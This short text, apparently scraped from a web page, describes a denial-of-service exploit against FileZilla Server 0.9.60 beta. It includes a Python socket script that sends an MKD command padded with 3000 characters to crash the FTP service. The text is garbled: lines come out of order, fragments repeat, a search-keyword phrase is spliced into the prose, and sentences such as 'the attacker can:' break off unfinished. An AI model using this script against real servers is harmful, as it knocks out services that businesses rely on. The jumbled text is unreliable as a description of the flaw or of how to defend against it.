payload = "MKD " + "A" * 3000 + "\r\n" s.send(payload.encode()) s.close()
This simple script causes the FileZilla Server.exe process to crash, interrupting any active transfers or authenticated sessions. While DoS is not a data breach, it can cripple business operations relying on FTP.
The simplest exploits target the FTP server's memory management. By sending a malformed MKD (make directory) command with an excessively long argument, an attacker can crash the service. filezilla server 0.9.60 beta exploit github
Example code snippet commonly found on GitHub:
import socket
target = "192.168.1.100"
port = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024) # Banner
Once the exploit succeeds, the attacker can: payload = "MKD " + "A" * 3000 + "\r\n"
s
Penetration testers should: